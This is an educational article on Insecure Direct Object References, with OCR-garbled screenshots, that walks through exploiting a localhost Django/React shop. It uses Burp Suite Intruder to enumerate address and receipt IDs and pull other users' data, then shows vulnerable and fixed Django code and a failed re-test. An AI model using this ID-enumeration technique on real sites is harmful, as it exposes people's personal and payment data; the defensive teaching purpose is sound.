Insecure Direct Object References

Talha Eroglu, Ilgaz Senyuz, Okan Yildiz

January 4, 2023

Abstract

Insecure Direct Object References (IDOR) are a type of vulnerabil-
ity that occurs when an application exposes direct object references,
such as a file path or database key, to unauthorized users. This can
allow attackers to bypass security controls and access sensitive infor-
mation, such as user data or financial records, without proper authen-
tication. IDOR vulnerabilities can arise due to a lack of proper access
controls or when an application trusts user-supplied input without ad-
equately validating it. In this article, we will provide examples of un-
secure code that is vulnerable to IDOR attacks, and demonstrate how
these vulnerabilities can be exploited. To prevent IDOR vulnerabili-
ties, it is important to implement robust access controls and sanitize
user input to ensure that only authorized users can access sensitive
objects. Additionally, regularly testing and monitoring applications
for IDOR vulnerabilities can help to identify and mitigate potential
threats.
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1 Introduction to Insecure Direct Object
References (IDOR)

IDOR vulnerabilities are a serious concern for organizations and in-
dividuals alike, as they can result in the compromise of sensitive data
and financial loss. These vulnerabilities occur when an application
exposes direct object references, such as file names or database keys,
in its user interface, allowing attackers to manipulate them to access
unauthorized data or functionality. IDOR vulnerabilities can be found
in a variety of applications, including web applications, mobile apps,

and desktop software.

To prevent IDOR vulnerabilities, developers must ensure that proper
security measures are in place for object references within their appli-
cations. This includes implementing access controls to verify that a
user is authorized to access a particular object, as well as encrypting
object references to make them more difficult to manipulate. It is also
crucial for developers to keep their software up to date, as new vulner-

abilities may be discovered and patches released to fix them.

The consequences of IDOR vulnerabilities can be severe, including
unauthorized access to sensitive data, financial loss, and damage to
an organization’s reputation. It is therefore essential for organizations
to take proactive measures to secure their applications and protect
against IDOR attacks. This includes implementing strong security
measures, regularly updating software, and providing education and
training to employees to help them identify and prevent potential vul-

nerabilities. By taking these steps, organizations can effectively safe-
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guard their data and reduce the risk of suffering from the consequences
of IDOR vulnerabilities.

2 Common Types of IDOR

IDOR attacks can be classified in various ways, and it is possible to
divide them into different categories based on the method of attack
(URL tampering, body manipulation, etc.) and the types of direct
reference objects. In our case, We have chosen to divide IDOR attacks
into two categories: Direct Reference to Database Objects and Direct

Reference to Static Files.

2.1 Direct Reference to Database Objects

Direct reference to database objects is a type of (IDOR) vulnerability
that occurs when an application references database objects using user-
supplied input without proper validation. This can allow an attacker
to access sensitive data or manipulate database objects by altering the

user-supplied input.

Imagine that you have registered on a shopping website and have pro-
vided your personal information such as your address, email, and phone
number. You are then redirected to a page where you can review and
edit your information. On this page, you may see a link in the browser
bar that looks something like this:

example.com/user/details?id=2023

The 72023” ID is a reference to an object that is stored in the database
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when your account is created. In this example, your account is associ-
ated with the ID 72023”.

However, what happens if you try to change the ID in the URL? It
is possible to access the details of other users on the website simply
by altering the ID in the URL. For instance, if you change the ID to
720227, you may be able to view the details of another user’s account.
This demonstrates that there is an ” Insecure Direct Object References”

vulnerability on the website.

To further illustrate this vulnerability, consider the following URLs:

example.com/user/profile?id=2023 (Your Account)
example.com/user/profile?id=2022 (Victim’s Account)

By exploiting the IDOR vulnerability, it is possible to retrieve in-
formation from the victim’s account simply by modifying the ID in the
URL. The server does not check user permissions when requests are
made, meaning that there is a broken access control on the website. As
a result, it is possible to read, edit, and delete the personal information
of all registered users by altering the ID in the URL.



Figure 1: Direct Reference to Database Objects Scenario

2.2 Direct Reference to Static Files

Direct reference to static files is another type of IDOR vulnerabil-
ity that occurs when an application references static files using user-
supplied input without proper validation. This can allow an attacker

to access sensitive files.

Now assume that a website stores sensitive information in /static/
files on the server-side file system. For example, when you make a pur-
chase on the website, a receipt.pdf file may be created. If you want to
retrieve this file, you can download it using a link that looks something

like the following:
example.com/static/receipt/205.pdf
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However, an attacker can exploit this vulnerability by simply modifying
the filename in the URL like below:

example.com/static/receipt/200.pdf

By doing so, the attacker may be able to retrieve a receipt created by
another user and potentially gain access to sensitive information such

as user credentials.

User Document

Userid = 200 200

Can user access the do

User 200

Can user access the doeument ?
R User Document

205

Figure 2: Direct Reference to Static Files



3 Risks Caused by IDOR

IDOR attacks can have serious consequences for both website owners

and users. Some of the risks associated with IDOR include:

3.1 Unauthorized Access to Sensitive Information

Insecure direct object references (IDOR) can occur when an applica-
tion references database objects or static files using user-supplied input
without proper validation. This can allow an attacker to access sen-
sitive information by altering the user-supplied input. For example,
an attacker could use an IDOR vulnerability to view other users’ ac-
count details, financial information, or personal data. This can lead
to serious privacy breaches and harm to individuals affected by the
breach.

3.2 Data Manipulation

In addition to allowing unauthorized access to sensitive information,
IDOR vulnerabilities can also allow attackers to manipulate data stored
in the application’s database. This can include modifying, deleting, or
adding new data. Data manipulation attacks can have serious conse-
quences, such as corrupting important records or disrupting business
operations. For example, an attacker could use an IDOR vulnerability
to change a user’s account balance or personal information, or delete

critical data from the database.



3.3 Direct File Access

IDOR vulnerabilities can also allow attackers to directly access files
stored on the application’s server. This can include sensitive files such
as configuration files or log files, as well as static files such as images
or documents. Direct file access attacks can lead to sensitive informa-
tion leakage and potentially allow attackers to execute malicious code
on the server. For example, an attacker could use an IDOR vulner-
ability to download a server’s configuration file, which could contain
sensitive information such as database passwords. Alternatively, an
attacker could use an IDOR vulnerability to upload a malicious script

and execute it on the server.

3.4 Account Takeover

Finally, IDOR vulnerabilities can be exploited to gain unauthorized
access to user accounts. This can allow attackers to perform actions
on behalf of the compromised user, such as making purchases or access-
ing sensitive information. Account takeover attacks can have serious
consequences for both the affected user and the application. For exam-
ple, an attacker could use an IDOR vulnerability to take over a user’s
account and make unauthorized purchases using the user’s financial
information. Alternatively, an attacker could use a compromised ac-
count to access sensitive information or perform actions that damage

the user’s reputation.
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4 How to Exploit IDOR Vulnerabilities

4.1 Direct Reference to Database Objects

We have an e-commerce application built with React and Django stack
running on localhost with ports 3000 and 8000. Almost all of the code
is taken from the GitHub account JustDjango, you can find the relevant
repository in the references section. The website includes basic features
such as registering, logging in, adding products to the cart, and getting

billing and delivery information from the users.

A @ localhost3000/products

Home Products

Shirt

Qutwear

Headphones
QOutwear
The best headphones ever.

Figure 3: E-commerce website

We begin by creating two accounts in order to verify that we can
access restricted information that we should not. We registered to the

e-commerce platform by creating 2 different users named talha and
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ilgaz. After creating the accounts, We logged in as user "ilgaz, and
start examining the requests and responses from the network tab. In

network tab we can easily obtain the user’s ID by accessing the
http://127.0.0.1:8000/api/user-id/

endpoint in the profile menu on the website.

Name

Taddress type=B

countries/

O user-id/

Figure 4: UserID of "ilgaz” obtained from network tab

Mame
Taddress type=B
countries/

O user-id/

order-summary/
]
6

Figure 5: UserID of "talha” obtained from network tab

With the user ID of the "ilgaz” user in hand, we also retrieved the user
ID of the "talha” user by repeating the same steps. By understanding
the way user IDs are assigned in an auto-incremented fashion, we were
able to formulate strategies for conducting an attack. Even if we could
not detect any pattern, we could find valid users using an enumeration
attack, which basically is a brute-force method to check if certain data

exists on a web server database.
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Let’s go back to our topic. As shown in the above figures, when we
retrieve the user ID for the "talha” user, we can see that user IDs are
assigned to users in an auto-incremented way.

From now on, we will use the features of our website to create
different shipping and billing addresses and orders for two users, and
begin searching for IDOR vulnerabilities.

As can be seen in the following figures, we have created different

addresses and orders.

. Billing Address
Billing Address

Shipping Address

Payment History llgaz Street, ligaz Apartment '

Phone:

Mzke this the default address?

Figure 6: Billing Addresses of Ilgaz
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Billing Address Payment History

Shipping Address

Receipt D Amount Date
Payment History
Download 3 31 Tue, 03 Jan 2023 19:42:27 GMT
Download 4 52 Tue, 03 Jan 2023 19:43:25 GMT

Figure 7: Payment History of Ilgaz

. Billing Address
Billing Address

Shipping Address
Talha Street, Talha Apartment '

Payment History

Phone: 5556667788
Zip code: 10002

Make this the default address?

Figure 8: Billing Addresses of Talha
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Billing Address Payment History

Shipping Address

Receipt 1D Amount Date
Payment History
Download 5 %10 ‘Wed, 04 Jan 2023 11:32:56 GMT
Download -] 320 Wed, 04 Jan 2023 11:33:34 GMT

Figure 9: Payment History of Talha
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After logging in as the "talha” user, we examine the requests made
using Burp Suite. We attempt to access "ilgaz” users’ data using
related user ID. We open the intercept in the proxy tab in Burp Suite
and click on the profile menu on the website. We see that the data in

the profile is retrieved by a GET request to
localhost:8000/api/addresses

endpoint As shown in the figure, when we examine the request, we see
that no data is sent except for the CSRF token and address type. We
understand that the relevant user is matched with his/her own profile

via CSRF Token and a response is sent accordingly.

Burp Project Intruder Repeater Window Help Burp Suite Community Edition v2022.12.5 - Temporary Project
Dashboard Target Pro Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn

ntercept HTTP history WebSockets history Options

f Request to http://127.0.0.1:8000

Forward Drop Intercept is on Action Open Browser

Raw Hex \n =

1 GET /api/addresses/?address_type=B HTTP/L.1

2 Host: L127.0.0.l:8000

3 gec-ch-ua: "Not?A Brand";v="g8", "Chromium";w="108"

4 Aecept: application/Json, text/plain, */*

5 sec-ch-ua-mobils: 20

& Authorization: Token 302335B6922d2a493Ibbd0dsd9346c9088ctb5E2

7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =64) AppleWsbKit/537.3€ (KHTML, like Gecko) Chrome/108.0.5359.125
Safari/537.36

0

¢ sec—ch-ua-platform: "Windows'"
o Origin: http://localhost:3000
0 Sec-Fetch-Site: cross-site
Fetch-Mode: cors
Fetch-Dest: empty

13 Refersr: http://localhost:3000/
14 Aecept-Encoding: gzip, deflate

15 Aeccept-Language: en-US,en;g=0.9
1€ Connection: close

Figure 10: Address request
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Leaving the address endpoint behind, we continue by examining
other requests via burp and browser. As shown in the figure below, we
can see that the requests made to the ”order-summary” and ”address”
endpoints are validated using the CSRF token and the response is sent

in the same way.

Mame

Taddress_type=B

countries’

0 user-id/

order-summary,/
b
&

Figure 11: Other requests
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At this point, we will create and update billing addresses while

Burpsuite intercept is active.

. Billing Address
Billing Address

Shipping Address

Payment History Talha Street, Talha Apartment

Phone: 5556667788

Yo

Zip code: 10002

5999999999

Talha's new street

Talha's new apartment

Turkey =

35060

Make this the default address?

Figure 12: Creating new billing address for user ”talha”

Let’s turn intercept on and try to create a new Billing Address
for user "talha”. As you can see in the below figure we are pass-
ing user and related address information to the request we sent to

/api/addresses/create/.

18



y Request to http://127.0.0.1:2000

Forward Drop Intercept is on Action Open Browser

Pretty Raw Hex

1 POST /api/addresses/create/ HTTP/Ll.1l

Z Host: 127.0.0.1:8000

3 Content-Length: 192

4 sec—-ch-ua: "NDt?A_Brand";v="8", "Chromium™;wv="1028"

5 Accept: application/json, text/plain, */*

& Content-Type: application/json;charset=UTF-8

7 sec-ch-ua-mobile: 20

© Authorization: Token 302335B69I2I2dZa493Zbbd0dedS34E6c9088cth582

o User—Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; xE4) AppleWebKit/537.36 (KHTHL,

Safari/537.36
0 sec—ch-ua-platform: "Windows™
1 Origin: http://localhost:3000
2 Bec-Fetch-Site: cross-site
5 Sec-Fetch-Mode: cors
4 Sec-Fetch-Dest: empty
5 Referer: http://localhostc:3000/
& Accept-Encoding: gzip, deflate
7 Accept-Language: en-US, en;gq=0.9
Z Connection: close

{
"address type":"E",
"apartmeﬁt_address":”Talha's new apartment',
"country":"TRE",
"default":false,
migmyn,
"street_address":"Talha's newv strest”,
Muger”:3,
Tzip":T3is0e0r,
"phone_number":"58585559559"

like Gecko)

= Ul

Chrome/108.0.5359. 125

Figure 13: Intercepted request of new billing address

Knowing the user ID of ”ilgaz” (which we had determined was

assigned incrementally), we changed the user ID for "talha” (3) to the

user ID for 7ilgaz” (5). After making this change, we submitted the

request from the top left button on the website. While we were able

to see a success message on the website, the newly created address did

not appear for the "talha” user. This suggests that the new billing

address is indeed created, but for the user ”ilgaz”.
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Billing Address

Talha Street, Talha Apartment '

Phone: 5556667788
Zip code: 10002

5999999999

Talha's new street

Talha's new apartment

Turkey x

35060

Make this the default address?

Success!
Your address was saved

Figure 14: Successfuly created message

Now let’s log into the other account and see if our new address is

created under the other user’s profile.
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Billing Address

Talha's new street, Talha's new
llgaz Street, ligaz Apartment fpartment

Phone: 5554443322 Phone: 5999999999
Zip code: NW1 Zip code: 35060

Make this the default address?

Figure 15: Ilgaz’s account, address section

Bingo! It’s important to note that we were able to manipulate the
addresses in the ”ilgaz” user’s profile from ”talha” user without using
any private information. By providing integer payloads through Burp
Suite and blindly using the Userld attribute, we could create this ad-

dress information for any user.

At the beginning of the exploit part, we could not access the pro-
files of other users. But right now, we have a much more powerful

weapon than reading data. It is writing data! For the time being,
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we can create profile data under another user. What if we could also
update the address information? If we can update address informa-
tion, we can change the user ID of any address to our own user 1D
and may associate any information with our ”talha” user. This would
allow us to access all email addresses, phone numbers, payment, and

billing addresses in the system.

Let’s try to update random addresses so that they belgons to the
user "talha”, by using enumeration method. We will demonstrate how
to use enumerated payloads to associate each address found in the sys-

tem, with the "talha” user.”
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First, to use update address endpoint, we will simply intercept

update billing address operation in ”talha” user.

Billing Address

Talha Street, Talha Apartment '

Phone: 5556467788
Zip code: 10002

5556667788

Talha Street Updated

Talha Apartment Updated

United States of America x

10002

v Make this the default address?

Figure 16: Updating billing address of user ”talha”
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y Request to http://127.0.0.1:8000

Forward Drop Intercept is on Action Open Browser

Pretty Raw Hex

1 PUT fapi/addresses/Z0/update/ HTTPF/L.1

Z Host: 127.0.0.1:8000

3 Content-Length: 195

sec—ch-ua: "NDt?A_Brand";v="8", "Chromium™;w="1028"

Accept: application/json, text/plain, */*

Content-Type: application/json;charset=UTF-8
sec-ch-ua-mobile: 20

© Authorization: Token 302335B69I2I2dZa493Zbbd0dedS34E6c9088cth582

oo s

9 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x€4) AppleWebKit/537.36

Safari/537.36
10 sec—ch-ua-platform: "Windows"
11 Qrigin: http://localhost:3000
12 Sec-Fetch-5Site: cross-site
13 Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
15 Referer: http://localhost:3000/
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-U3S, en;qgq=0.9
Connection: close

20 |{

ridT:zo,

Muser":3,

"street_address":"Talha Street Updatesd"”,
"apartment_address":"Talha Apartwent Updated",

"country":"UI",
fzip":rlooozr,
"address type":"E",
"phone_nﬁmber":”5556667788",
"default":trus

H

{KHTHL,

like Gecko)

Chrome/108.0.5359. 125

Figure 17: Intercepted request of updating billing address

In intercepted request, we will right-click and send it to the in-

truder. Since we don’t want to update other users’ address fields. we

delete all of the parameters except ID and userID. We will relate the

following ID with our userld (3).
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Burp Project Intruder Repeater Window Help Burp Suite Community Edition v2022.12.5 - Temporary Project
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn
2 x4+

Positions Payloads Resource Pool Options

@ Choose an attack type

Aftack type: | Battering ram

@ Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: | http://127.0.0.1:8000 ’

1 PUT /api/addresses/S§20§/updats/ HTTP/L.1
2 Host: 127.0.0.1:8000
3 Content-Length: 195
4 sec-ch-ua: "Not?A Brand";v="8", "Chromium";v="108"
5 Accept: application/json, text/plain, */*
£ Content-Type: application/json;charset=UTF-8
7 sec-ch-ua-mobile: 70
Authorization: Token 30233586922d2a4932bbd0ded9346c9088cEbSa2

Update Host header to match target

S User-Agent: Mozilla/5.0 (Vindows NT 10.0; WinE4; xE4) AppleWebKit/S37.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36

10 sec—ch-ua-platform: "Vindows"
11 origin: http://localhost:3000
12 See-Fetch-Site: cross-site

13 Sec-Fetch-Mods: cors

14 Sec-Fetch-Dest: =mpty

15 Referer: http://localhost:3000/
16 hccept-Encoding: gzip, deflate
17 Accept-Language: en-US,=n;g=0.9
1% Connection: close

20 {"id":§20§, "user":3}

@i €|~

2 payload positions

@ matches

Length: 715

Figure 18: Intruder configurations

Since we are sending a PUT request to

api/addresses/"addressID"/update

[m] X
@ Settings
Q

Add §
Clear §
Auto §

Refresh

Clear

,we need to set the AddressID part in the request URL and the ID part

in the parameters section as the "payload position”. Since we want to

put the same payload in every payload position we use the Battering

Ram attack type, you can see the attack type and payload positions

in the above figure.
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Dashboard Target Pro Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn @ Settings

1 x 2 x  + Q i

Positions Payloads Resource Pool Options

© rayorases

You can define ane or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload
type can be customized in different ways.

Payload set: | 1 ~ Payload count: 0

payload type: | Numbers ~ | Request count: 0

@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: © sequential Random
From: o

To: 20

Step:

How many:

Number format

Base: © Decimal Hex
Min integer digits:

Max integer digits:

Min fraction digits:

Max fraction digits:

Examples
11
987654321.1234568

Figure 19: Payload configurations

From the Payloads Tab, we choose the Payload type as Numbers.
Since we don’t have too many addresses for this demo, we specify a
Number range of 0 to 20 with 1 step each. But in a real life case, an
attacker’s range will include millions! Without further talk, let’s start

our attack.
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As seen in the figures below, Burpsuite sent 20 different payloads
and some of them resulted in a status of 200. When we visited the
profile of the user "talha,” we were able to see the addresses of all

other users under ”talha”. What a shame!

Aftack Save Columns 4, Intruder attack of http://127.0.0.1:8000 - Temporary attack - Not saved to project file — [m] X
Results Positions Payloads Resource Poal Options

Filter: Showing all items @
Request Payload Status Error  Timeout Length Comment

o] 200 473

1 ] 404 307

2 1 404 307

3 2 200 444

4 3 404 307

5 4 200 450

[ 5 404 307

7 6 404 307

8 7 404 307

9 8 404 307

10 9 404 307

1 10 404 307

12 1 200 462

13 12 200 456

14 13 404 307

15 14 404 307

16 15 404 307

17 16 404 307

18 17 404 307

19 18 200 435

20 19 200 455
Request Respanse
Pretty Raw Hex B 0 =

1 PUT /api/addresses/18/update/ HTTF/1.1

2 Host: 127.0.0.1:8000

5 Content-Length: 18

sec-ch-ua: "Not?Ah Brand";w="8", "Chromium";w="108"

Accept: application/json, text/plain, */*

Content-Type: application/json;charset=UTF-8
sec-ch-ua-mobile: 20

£ Authorization: Token 3023358£922d2a4932bbd0ded9346c908Bctb582
o User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£4; xE4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/1D8.0.5359.125 Safari/537.36
0 sec-ch-ua-platform: "Windows"

Crigin: http://localhost:3000

2 Sec-Fetch-5ite: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost:3000/

& Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

£ Connection: close

204
nidn:1g,
tuger”: 3

i

Figure 20: Payload results

27



Billing Add
Billing Address Hiing ress

Shipping Address

m Talha UserlD 2, Test UserlD
Payment History 79 Doodo drive, Somewher 2asda

Phone: 538538538 Phone: 538538538

Zipcode: 22222 Zip code: 320400

=3

Talha UserlD 4, Test User ID4 m
AF llgaz Street, llgaz Apartment

Phone: 00000000 GB

Zip code: 06500 Phone: 5554443322

Zip code: NW1

Talha Street Updated, Talha l

Apartment Updated

Phone: 5556657788
Zip code: 10002

Make this the default address?

Figure 21: Profile of the user "talha”
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4.2 Direct Reference to Static Files

We will continue with the example of direct reference to static files.
As you may remember from the previous figures, there is a section in
the payment history menu where the receipts of the payments can be
downloaded. If we download receipt number 5, we get the receipt for

our own order, as can be seen in the figures below .

Billing Address Payment HIStDrY

Shipping Address
Receipt 1D Amount Date
Payment History
Download 5 310 Wed, 04 Jan 2023 11:32:56 GMT

Download é 320 ‘Wed, 04 Jan 2023 11:33:34 GMT

Figure 22: Payment history of "talha”

ReceiptID: &5

Mame: Talha

Surname: Eroglu

Email: talhaerogluu35S@gmail .com
Phone: 5556667728

Address: Talha 5treet, Talha Apartment USA 18882
Received: 18%
Items: Book
Payment Method: Credit Card (4444 ¥%®¥ *®&% 91113 Exp: 81/28 CVW: 222
Date: Tue, 83 Jan 2823 19:43:25 GMT

Figure 23: Receipt with ID=5
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Let’s activate the intercept again in Burpsuite and examine the
requests and confirm whether we can access other users’ receipts. We

retrieve the relevant receipt using a get request send to
/127.0.0.1:8000/api/download/5

Here, we can also access other receipts by enumerating the receiptIDs,
but to save time, we will modify the request with an ID (3) that we
already know exists. When we look at the downloaded receipt, we see
that we have obtained the receipt that belongs to the ”ilgaz” user,

from the user "talha”. Dangerous! (Below Figure)

ReceiptID: 3

Mame: Ilgaz

surname: Senyuz

Email: ilgazsenyuz@ghotmail.com

Phone: 55544433232

Address: Ilgaz Street, Ilgaz Apartment United Kingdom NW1

Amount Received: 1%

Items: Watch

Payment Method: Credit Card (5555 ***¥ *¥%%x 4444 Exp: 87/28 CW: 222
Date: Tue, 83 Jan 2823 19:42:27 GMT

Figure 24: Receipt with ID=3

I would like to remind you that we only reach this information by
guessing the receipt ID. In this way, we can access other users’ ad-
dresses, phone numbers and payment information along with random

receipt [Ds via Burpsuite.

In the previous section, we classified IDOR into two common types
and in this section, we demonstrated how to exploit these types of

IDOR vulnerabilities in our test environment.
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5 Vulnerable Code Examples

The three classes and one function in the example are taken from our
test environment. As shown in the below figures, although the user’s
authentication status is checked, it is not verified whether the user has
access to the relevant address in address creation, updating, and dele-

tion.
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Figure 25: Address views of Django
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The authentication process is handled by Django as default. But
unfortunately download file function does not check whether the re-
ceipt being downloaded belongs to the user attempting to download
it.

download file(request, order id):

file path = f'{os.getcwd()}/receipts/{order_id}.txt’

with open(file_path, 'rb') as f:
file content = f.read()

.'._1..'.| )
ion'] = f'attachment; f order_id}.txt’

Figure 26: Download function
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6 How to Prevent IDOR Attacks

6.1 Attempt to fix IDOR on the test environment

To fix this vulnerability, we can add a check to ensure that the user
making the request is authorized to update the specific address object
being modified. One way to do this is to override the perform update
method in our view and add a check to ensure that the user making
the request is the owner of the address being updated. This can be
done by adding a line like the following at the beginning of the perform
update method:

AddressUpdat wi{lUpdateAPTIView):
permission_cla {IsAuthenticated, )
serializer cla
queryset = Addrs

perform_update(self, serializer):
instance = serializer.save()

if self.request.user != instance.user:
~aise PermissionDenied

Figure 27: Possible way to check for user
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An alternative approach is to use Python’s built-in "request.user”
method. By filtering user objects with this method, we can retrieve
the relevant data for that user from the database. As shown in the

figures below, we have modified all functions that were vulnerable to
IDOR.

View):

sAuthentica

get_queryset(self)
f.request.user

Figure 28: Second way to check for user
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To ensure that the download receipts function is secure, we can
filter orders that belong to the requesting user and also have requested
order ID. This will guarantee that the user can only access their own

receipts.

est, order_id):

ts.get(user=self.request.user, ordered= , id-order_id)

/o r*:ler*_id ) txt”

response = HttpResponse
file_content, content_typ
{order_id}.txt’

}, status=HTTP_4@@_BAD_REQUEST)

, status=HTTP_40@_BAD_REQUEST)

Figure 29: Download receipt function
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6.2 General Methods for preventing IDOR

Randomizing the numbers assigned to reference objects, rather than
using a sequential numbering system, can help to reduce the risk of
IDOR vulnerabilities. However, this is not a complete solution and
other measures must be taken to fully protect against these types of
attacks. Even using unique identifiers like UUIDs, which are designed
to have a high level of randomness, may not be sufficient if a company’s
list of user IDs is leaked. In this case, attackers could potentially use
the leaked list to execute IDOR attacks if the web application does not

have proper access control measures in place.

To effectively prevent IDOR vulnerabilities, businesses should imple-
ment a robust approach that addresses all potential sources of risk.
This might include using automated tools or manual testing meth-
ods to regularly scan and test for IDOR vulnerabilities, implementing
strong access control measures to verify user permissions, and educat-
ing employees on how to identify and report potential security issues.
In addition, it is important to ensure that any leaked lists of user IDs
or other unique identifiers are promptly invalidated to prevent unau-

thorized access.

6.3 Indirect Reference Maps

Indirect reference maps involve replacing the direct reference to an ob-
ject with an indirect reference that is much more difficult to guess.

This can help prevent IDOR vulnerabilities by making it harder for
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attackers to access sensitive data or manipulate objects by altering
the user-supplied input. To implement an indirect reference map, the
application should replace the direct reference to an object with an
identifier such as a UUID (Universally Unique Identifier). Internally,
the application should maintain a mapping between the UUIDs and the
corresponding objects, so that it can translate the indirect reference
back to the original form. It is important to note that while UUIDs
and other methods of generating randomly assigned IDs can make it
more difficult for attackers to guess the direct reference, they are not
a foolproof solution. Indirect reference maps should be used in combi-

nation with other methods to effectively prevent IDOR vulnerabilities.

6.4 Fuzz Testing

Fuzz testing is a software testing technique that involves entering ran-
dom or unexpected inputs into the application in an attempt to dis-
cover bugs and vulnerabilities. By testing the application’s ability to
handle these strange inputs, organizations can help detect IDOR vul-
nerabilities. Fuzz testing can be automated using tools such as the
fuzz-lightyear framework developed by Yelp (Loo, 2020). It is impor-
tant to note that while fuzz testing can help detect IDOR vulnerabili-
ties, it does not prevent them. Organizations should use other methods

in addition to fuzz testing to effectively prevent IDOR vulnerabilities.
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6.5 Parameter Verification

Parameter verification involves checking user-supplied input to ensure
it is of the correct length, type, and does not contain unacceptable
characters. This can help prevent IDOR vulnerabilities by making it
harder for attackers to access sensitive data or manipulate objects by
altering the user-supplied input. Some checks that can be performed

as part of parameter verification include:

e Verifying that a string is within the minimum and maximum

length required
e Verifying that a string does not contain unacceptable characters

e Verifying that a numeric value is within the minimum and max-

imum boundaries

e Verifying that input is of the proper data type (e.g., strings, num-
bers, dates, etc.) It is important to note that while parameter
verification can help prevent IDOR vulnerabilities, it is not a
foolproof solution. Organizations should use other methods in
addition to parameter verification to effectively prevent IDOR

vulnerabilities.

6.6 Access Validation

The most effective way to prevent IDOR vulnerabilities is through ac-
cess validation, which involves verifying that the user has the proper
credentials to access the requested object or data. This can be done

through server-side access control, which involves performing checks
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on the server to ensure that the user is authorized to access the re-
quested data. It is important to perform access validation at multiple
levels, including the data or object level, to ensure that there are no
holes in the process. By performing access validation, organizations
can effectively prevent IDOR vulnerabilities and protect sensitive data

from unauthorized access.
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7 Attempt to exploit more secure code

Let’s revisit the steps we took previously to exploit the vulnerability.

The following figures illustrate the actions taken in the correct order.

Talha Street Updated, Talha

Apartment Updated

538538538

7% Doodo drive

Somewher

Bangladesh x

22232

+*| Make this the default address?

Figure 30: Updating address of User
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== [ 2 [ [ [ E

Dashboard Target Proxy Intruder Repeater Sequencer Decoder {@} Settings

Comparer Logger Extensions Learn

Intercept HTTP histary WebSockets history Cptions

ﬁ Request to http://127.0.0.1:8000

Forw... Crop Action Ope.. | Comment this item W HiTeN @

Pretty Raw Hex =1 N

1 PUT /api/addresses/4/update,/ HTTE/1.1
2 Host: 127.0.0.1:8000

Content-Length: 172
sec—ch-ua: "Not?A Brand";w="g8", "Chromium":w="108"
Aocept: application/json, text/plain, */*

£ Content-Type: application/json;charset=UTF-2

sec-ch-ua-mokbile: 20

2 Authorization: Token ca9=50935bh8edS8dBl 79 Ede48E5LTTEEE0L 1404
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£4; x£4) AppleWebKit/537.36

(EHTHML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
| sec-ch-ua-platform: "Windows"™

11 Origin: http://localhost:3000
12 Bec-Fetch-5ite: cross-site

3 Sec-Fetch-Hode: cors
4 Sec-Fetch-Dest: empty
5 Referer: http://localhost:3000/

1l Accept-Encoding: gzip, deflatce

Aocept-Language: en-U3,en;q=0.9
Z Connection: close

Tid':4,

Muser": 5,

"street address":"759 Doodo drive”,
"apartment address":"Somewher",
"oountry™:"ED",

Tgip™:TIZIIZIT

"address_types":"B",
"phone number":"538538538",
"default™:true

Figure 31: Intercepting request and sending it to the intruder.
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SR R R R R

@ Choose an attack type

Attack type:  Battering ram

@ Payload Positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: | hiip

PUT /api/addresses/§4§/update/ HTTP/L.l
Host: 127.0.0.1:8000
Content-Length: 172
4 sec—ch-ua: "Net?i_Brand";v="8", "Chromium";v="108"
5 Acecept: application/json, text/plain, */*
Content-Type: application/Jjson;:charset=UTF-8
sec-ch-ua-mobile: 70
Authorization: Token cag9e50935h8ed98d8279hEd=4865h776£80b1404
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125
Safari/537.36
10 sec-ch-ua-platform: "Windows"
11 Origin: http://lecalhest:3000
Sec-Fetch-Site: cross-site
13 Sec-Fetch-Mode: cors
i Sec-Fetch-Dest: empty
Beferer: http://localhest:3000/
Accept-Encoding: gzip, deflate
Accept-Language: =n-US,en;q=0.9
Connection: close

20 {"id": 8§48, "user":3}

Figure 32: Clearing unrelated fields and changing user ID, configuring
payloads as before
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As can be seen in the figure below, all of the requests we sent

resulted in 400 and we got the unauthorized message as a response.

Attack Save Columns 2. Intruder attack of http://127.0.0.1:8000 - Temporary attack - Not saved to project file - a x
Results Positions Payloads Resource Pool Options

Filter: Showing all items @
Request Payload Status Error Timeout Length Comment
o 403 347

1 o 404 307

2 1 404 307

3 2 403 347

4 3 404 307

5 4 403 347

6 5 404 307

7 6 404 307

8 7 404 307

9 8 404 307

10 9 404 307

n 10 404 307

12 1 403 347

13 12 403 347

14 13 404 307

15 14 404 307

16 15 404 307

17 16 404 307

18 17 404 307

19 18 403 347

20 19 403 347

21 20 403 347

Request Respanse

Pretty Raw Hex Rende \n
1 HTTP/Ll.l 403 Forbidden

2 Date: Wed, 04 Jan 2023 Z0:0€:2¢& GMT

Server: W3GIServer/0.2 CPython/3.9.Z

Content-Type: application/json

Vary: Accept, COrigin

Allow: PUT, PATCH, OPTICHS

X-Frame-Options: SAMECRIGIN

£ Content-Length: €3

o Access—Control-Allow-Origin: http://localhost:3000

Lo w

111
"detail”:"You do not have permission to perform this action.”
1

Figure 33: Starting attack
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We also got 400 and we got the unauthorized message when trying

to manipulate BurpSuite request.

Download File

GET /api/download/3

HTTP 400 Bad Reguest

Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

"message": "No active order or unauthorized"

Figure 34: Attempting to download other receipts.

8 References

e Github E-Commerce Repository —https://github.com/justdjango/

django-ecommerce
e https://shellmates.medium.com/insecure-direct-object-references-:
e https://spanning.com/blog/insecure-direct-object-reference-web-b
e https://portswigger.net/web-security/access-control/idor

